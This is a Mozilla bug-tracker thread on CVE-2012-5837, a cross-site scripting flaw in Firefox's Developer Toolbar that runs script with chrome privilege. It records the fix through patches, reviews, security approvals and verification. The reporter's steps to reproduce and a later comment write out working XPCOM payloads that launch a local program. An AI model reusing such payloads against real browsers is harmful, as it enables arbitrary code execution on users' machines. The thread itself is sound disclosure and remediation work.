800363 - (CVE-2012-5837) XSS in Web Developer Toolbar's chrome privilege page

Status: VERIFIED FIXED

(DevTools :: General, defect)

Description

[Masato Kinugawa]

User Agent: Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20100101 Firefox/16.0
Build ID: 20121005155445

Steps to reproduce:

1. Open Developer Toolbar(Shift+F2).
2. Copy and paste <img	src="x"	onerror="alert(1)"> to toolbar input box.(Whitepaces are Tab chars)
3. You can see "1" from chrome:// URI. This means JavaScript is run as chrome privilege.
The following code runs calc.exe on Windows.

<img	src="x"	onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('C:\\\\windows\\\\system32\\\\calc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');">



Expected results:

JavaScript should not be run.

Comment 2

[David Chan [:dchan]]

Confirmed that calc.exe does launch on Fx16.0

Comment 3

[Rob Campbell [:rc] (:robcee)]

confirmed. That's... something.

Comment 5

[Tanvi Vyas[:tanvi]]

Would this feature have prevented this - https://wiki.mozilla.org/Security/Features/Apply_CSP_Chrome_Pages ?

Comment 6

[Joe Walker [:jwalker]]

Attachment: v1

I've been talking to mgoodwin about this patch for a while. As far as I can tell, it reduces the use of innerHTML to only that which is required to have commands able to create HTML.

Comment 7

[Joe Walker [:jwalker]]

Mark: As far as I can tell, the menu issue that we discussed isn't exploitable. I've used createTextNode, and we're returning a DOM rather than string-concat and HTML.

menu.js:156

      var before = value.substr(0, startMatch);
      var after = value.substr(startMatch + match.length);
      var parent = document.createElement('span');
      parent.appendChild(document.createTextNode(before));
      var highlight = document.createElement('span');
      highlight.classList.add('gcli-menu-typed');
      highlight.appendChild(document.createTextNode(match));
      parent.appendChild(highlight);
      parent.appendChild(document.createTextNode(after));
      return parent;

Comment 8

[Joe Walker [:jwalker]]

Also, I'm not sure if we attempt to hide fixes with sec-high, but in case we do, I've planned that we can land this in with bug 798458, so this can land as innocuously as possible.

Comment 9

[:Gavin Sharp [email: [e-mail]]]

Comment on attachment 671062 [details] [diff] [review]
v1

It looks like the setTextContent helper will do the wrong thing if the element already contains another child text node - it should probably remove all children first?

Comment 10

[Joe Walker [:jwalker]]

(In reply to :Gavin Sharp (use [e-mail] for email) from comment #9)
> Comment on attachment 671062 [details] [diff] [review]
> v1
> 
> It looks like the setTextContent helper will do the wrong thing if the
> element already contains another child text node - it should probably remove
> all children first?

The implementation of setTextContent() is:

  exports.clearElement(elem);
  var child = elem.ownerDocument.createTextNode(text);
  elem.appendChild(child);

Where clearElement() is:

  while (elem.hasChildNodes()) {
    elem.removeChild(elem.firstChild);
  }

I think we should be removing all childNodes, not all children, because children implies Element children?

Comment 11

[:Gavin Sharp [email: [e-mail]]]

I meant all child nodes, yes - I just misread the patch. Nevermind!

Comment 12

[Mark Goodwin [:mgoodwin]]

(In reply to Tanvi Vyas from comment #5)
> Would this feature have prevented this -
> https://wiki.mozilla.org/Security/Features/Apply_CSP_Chrome_Pages ?

Yes.

Comment 13

[Dave Camp (:dcamp)]

Comment on attachment 671062 [details] [diff] [review]
v1

Review of attachment 671062 [details] [diff] [review]:
-----------------------------------------------------------------

r+ contingent on mgoodwin's.

Comment 14

[Mark Goodwin [:mgoodwin]]

Comment on attachment 671062 [details] [diff] [review]
v1

Review of attachment 671062 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good.

Comment 15

[Joe Walker [:jwalker]]

I've just been experimenting with an additional pair of braces which added type="content" to the iframe in question. I couldn't get this to work, and it could be for one of 3 reasons:
- My attack script is broken
- The iframe in question is an html:iframe not a xul:iframe (because of bugs in xul:panel) and type=content doesn't work with html:iframes
- Both of the above

My attack script is:
<img	src="x"	onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('/Applications/Calculator.app/Contents/MacOS/Calculator');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');"/>

(again with tabs in place of spaces)

Comment 16

[Joe Walker [:jwalker]]

Attachment: type=content

Non functioning experiment setting type=content on the iframe in question (and another)
For posterity.

Comment 17

[Joe Walker [:jwalker]]

Comment on attachment 671062 [details] [diff] [review]
v1

[Security approval request comment]
How easily can the security issue be deduced from the patch?

- fairly

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

- no

Which older supported branches are affected by this flaw?

- all since ff15

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

- could be quite hard

How likely is this patch to cause regressions; how much testing does it need?

- it changes how we interact with hint strings, some testing required


I'm not sure where we should apply this. On one hand chrome level exploits are serious, on the other, there is a similar issue (disguised as a feature) in every version of windows that I'm aware of (win+r,ctrl+v) which does not seem to be significantly exploited.

Comment 18

[Joe Walker [:jwalker]]

fwiw, I've queued this up to land in bug 798458

Comment 19

[:Gavin Sharp [email: [e-mail]]]

(In reply to Joe Walker [:jwalker] from comment #15)
> - The iframe in question is an html:iframe not a xul:iframe (because of bugs
> in xul:panel) and type=content doesn't work with html:iframes

mozframetype="content" does, though, since bug 769771.

Comment 20

[Joe Walker [:jwalker]]

Attachment: mozframetype=content

Updated patch with mozframetype=content. Still doesn't work though, or maybe my attack script is still wrong? I'm using:

<img	src="x"	onerror="alert(Components.classes);"/>

I would expect to get the message 'undefined' if this was really content.

Comment 21

[Mark Goodwin [:mgoodwin]]

(In reply to Joe Walker [:jwalker] from comment #20)
> I would expect to get the message 'undefined' if this was really content.

So would I.

Comment 22

[:Gavin Sharp [email: [e-mail]]]

(Components.stack throws rather than returning undefined in an unprivileged context.)

I didn't realize you were loading a chrome:// document in the iframe - in that case it doesn't matter what its docshell type is, you'll get chrome privileges. One way to work around that is to create about: URIs for those resources that aren't privileged.

Comment 23

[Joe Walker [:jwalker]]

(In reply to :Gavin Sharp (use [e-mail] for email) from comment #22)
> (Components.stack throws rather than returning undefined in an unprivileged
> context.)

So either way we would know if we have privs, right? My double-check was to do "alert(Components.classes);" from the webconsole and I got 'undefined'. Maybe things are different there.

> I didn't realize you were loading a chrome:// document in the iframe - in
> that case it doesn't matter what its docshell type is, you'll get chrome
> privileges. One way to work around that is to create about: URIs for those
> resources that aren't privileged.

Ah - I see. Thanks.
We could even think about using an empty doc (about:blank?) and DOM hacking it into shape. it's not like the docs are complex:

https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlineoutput.xhtml
https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlinetooltip.xhtml

Comment 24

[Mark Goodwin [:mgoodwin]]

Attachment: using commandlineoutput.xhtml, etc. without chrome URLs

One technique to make use of the existing documents without use of chrome URLs is to create a DATA: URL from them.  If the src attribute is set post creation, the iframe apparently isn't trusted.

Comment 25

[Mark Goodwin [:mgoodwin]]

(In reply to Mark Goodwin [:mgoodwin] from comment #24)
> Created attachment 673277 [details] [diff] [review]
> using commandlineoutput.xhtml, etc. without chrome URLs

To make it clear: Obviously, I'd recommend handling the data correctly in the first place; this is not an either / or thing.

Comment 26

[Daniel Veditz [:dveditz]]

Comment on attachment 671062 [details] [diff] [review]
v1

sec-approval+

Comment 27

[Joe Walker [:jwalker]]

(In reply to Daniel Veditz [:dveditz] from comment #26)
> Comment on attachment 671062 [details] [diff] [review]
> v1
> 
> sec-approval+

I don't think it's automatic that we should apply this to aurora/beta because it contains string changes. I suggest that we land this fix on Nightly, and find some version of the priv patch to land on Nightly/Aurora/Beta.

Does that makes sense?

I can see 3 alternative methods of making the priv patch work:
- The data: URL hack
- about: pages
- DOM manipulation

While Mark's solution is nicely concise, I also think it's an abuse. I made a quick semi-functioning DOM manipulation solution yesterday, but I'm not 100% happy with it, and suspect that the about: solution could be better.

Comment 28

[Alex Keybl [:akeybl]]

Comment on attachment 671062 [details] [diff] [review]
v1

Given Joe's comment, it sounds like he may be blocked for landing on coming up with a final solution for branches. Joe - you're correct we don't want to take a string change for a security fix.

Re-nominating for sec-approval to see if we should wait on landing until that final solution has been created.

Comment 29

[Al Billings [:abillings - ex-MoCo]]

I'd like to know what we're going to do for branches before giving it sec-approval+.

Comment 30

[Joe Walker [:jwalker]]

Attachment: drop privs using sandbox=""

Comment 31

[Joe Walker [:jwalker]]

(In reply to Al Billings [:abillings] from comment #29)
> I'd like to know what we're going to do for branches before giving it
> sec-approval+.

The plan is to land attachment 676700 [details] [diff] [review] on branches, and attachment 671062 [details] [diff] [review] on central.

Comment 32

[Joe Walker [:jwalker]]

I don't know if submerge is important, but I'm planning on using bug 806821 in order to land attachment 676700 [details] [diff] [review]. (and still using bug 798458 for attachment 671062 [details] [diff] [review]).

Comment 33

[Dave Camp (:dcamp)]

Comment on attachment 676700 [details] [diff] [review]
drop privs using sandbox=""

Review of attachment 676700 [details] [diff] [review]:
-----------------------------------------------------------------

r+ as a devtools peer, would like mgoodwin to weigh in on the security fix.

Comment 34

[Joe Walker [:jwalker]]

Comment on attachment 676700 [details] [diff] [review]
drop privs using sandbox=""

[Security approval request comment]
How easily can the security issue be deduced from the patch?

  the word 'sandbox' might be a clue. Have prepared a submerge

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

  No

Which older supported branches are affected by this flaw?

  all since ff15

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

  It should be easy to land this patch on other branches. Not checked.

How likely is this patch to cause regressions; how much testing does it need?

  I think our unit tests and some quick visual checks should be enough

(Note: My testing so far as extended to verifying that it fixes the security problem, but it hasn't passed try. Obviously I'll check it does before landing anywhere)

Comment 35

[Joe Walker [:jwalker]]

Attachment: drop privs using sandbox="allow-same-origin"

It turned out that sandbox="allow-same-origin" was needed for correct GCLI operation.

Green on try. https://tbpl.mozilla.org/?tree=Try&rev=fa919472c882
Landing soon

Comment 36

[Joe Walker [:jwalker]]

Attachment 671062 [details] [diff] is also green: https://tbpl.mozilla.org/?tree=Try&rev=2bffafbddf1b

Comment 37

[Mark Goodwin [:mgoodwin]]

Comment on attachment 677440 [details] [diff] [review]
drop privs using sandbox="allow-same-origin"

Review of attachment 677440 [details] [diff] [review]:
-----------------------------------------------------------------

Still looks good

Comment 38

[Joe Walker [:jwalker]]

Al - I'd like to carry the sec-approval+ for the sandbox patch (677440) ok?
Please could you do sec-approval+ for the innerHTML patch (671062)

I'm also trying out the "Need additional information from" thing. I hope it doesn't turn out to be a bad idea.

Comment 39

[Al Billings [:abillings - ex-MoCo]]

Joe, are you sure it is bug 671062? 

I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on it, please?

Comment 40

[Joe Walker [:jwalker]]

(In reply to Al Billings [:abillings] from comment #39)
> Joe, are you sure it is bug 671062? 
> 
> I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on
> it, please?

They're attachment numbers:
* attachment 677440 [details] [diff] [review]
* attachment 671062 [details] [diff] [review]

Comment 41

[Joe Walker [:jwalker]]

Just to be clear of the plan:

Attachment 677440 [details] [diff] adds the sandbox attribute. It's planned to land on central and then on branches. It is an minor update to a676700 which you gave sec-approval+ to just after comment 34.

Attachment 671062 [details] [diff] curtails use of innerHTML. It's planned to land on central only because it involves string changes. It had sec-approval+ in comment 26, but this was taken away in comment 28 and comment 29 because we didn't have the sandbox patch ready.

Comment 42

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 671062 [details] [diff] [review]
v1

Thank you for clarifying. Yes, get these both in. Sec-approval+

Comment 43

[Joe Walker [:jwalker]]

Landing into fx-team in https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024:
Attachment 677440 [details] [diff] is submerged into bug 806821
Attachment 671062 [details] [diff] is submerged into bug 798458

Comment 44

[Joe Walker [:jwalker]]

Both patches landed in submerged bugs.

Comment 45

[Lukas Blakk [:lsblakk] use ?needinfo]

Are these safe to uplift?  Please nominate asap if low-risk enough to take before our last beta.

Comment 46

[Joe Walker [:jwalker]]

Comment on attachment 677440 [details] [diff] [review]
drop privs using sandbox="allow-same-origin"

[Approval Request Comment]
Bug caused by (feature/regressing bug #): Bug 800363
User impact if declined: Security risk
Testing completed (on m-c, etc.): On m-c
Risk to taking this patch (and alternatives if risky): This is sg-high
String or UUID changes made by this patch: None

Comment 47

[Lukas Blakk [:lsblakk] use ?needinfo]

(In reply to Joe Walker [:jwalker] from comment #46)

> Risk to taking this patch (and alternatives if risky): This is sg-high

This approval is contigent on a low-risk evaluation of the landing for this code, not the risk of the bug itself.  Please confirm that this patch passes tests and has low risk for regressions on branches.

Comment 48

[Joe Walker [:jwalker]]

(In reply to Lukas Blakk [:lsblakk] from comment #47)
> (In reply to Joe Walker [:jwalker] from comment #46)
> 
> > Risk to taking this patch (and alternatives if risky): This is sg-high
> 
> This approval is contigent on a low-risk evaluation of the landing for this
> code, not the risk of the bug itself.  Please confirm that this patch passes
> tests and has low risk for regressions on branches.

The patch has been on central for a while without being backed out, or reports of intermittent orange.

This patch seems to pass tests on beta (https://tbpl.mozilla.org/?tree=Try&rev=f76ef2036f13 and https://tbpl.mozilla.org/?tree=Try&rev=99055e9243ff) and aurora (https://tbpl.mozilla.org/?tree=Try&rev=ef00616e4d53) There are a significant number of test failures for Android which is puzzling to me since Android doesn't use this code at all.

I have also manually tested that this code prevents the exploit (from comment 20) on both beta and central.

Comment 49

[Joe Walker [:jwalker]]

Attachment: minor rebase of 677440 for mozilla-beta

My reading of comment 47 is that I need further approval before I push this. Also I'd like confirmation that the android test failures are expected.

I'm attaching the patch should someone wish to push this while I'm not around.

Comment 50

[Lukas Blakk [:lsblakk] use ?needinfo]

Comment 48 addresses the concern, thank you. I'm also not clear on why there are so many android test failures on your push - obviously if those appear on push to branches we'd want to investigate more but it could be a result of pushing branches other than m-c to try or something else unrelated.  In any case, we're going to build tomorrow for the final beta so please do push these to branches so we know where we stand tomorrow.

Comment 51

[Joe Walker [:jwalker]]

Status for the sandbox fix (attachment 677440 [details] [diff] [review]/attachment 680480 [details] [diff] [review])

Push to Nightly (via fx-team):
  https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024

Push to Aurora:
  https://tbpl.mozilla.org/?tree=Mozilla-Aurora&rev=ec566743b99c

Push to Beta:
  https://tbpl.mozilla.org/?tree=Mozilla-Beta&rev=5c9450a082aa


Status for the innerHTML fix (attachment 671062 [details] [diff] [review])

Push to Nightly (via fx-team):
  https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024

Not pushing to Aurora/Beta


It looks from the results from beta so far that the android failures are probably a configuration issue with a non-central push to try.

Comment 52

[Paul Silaghi, QA [:pauly]]

I reproduced the problem on FF 16.0.2 using the STR in comment 0.
Verified fixed FF 19 RC on Win 7, Ubuntu 12.04 and Mac OS X 10.6.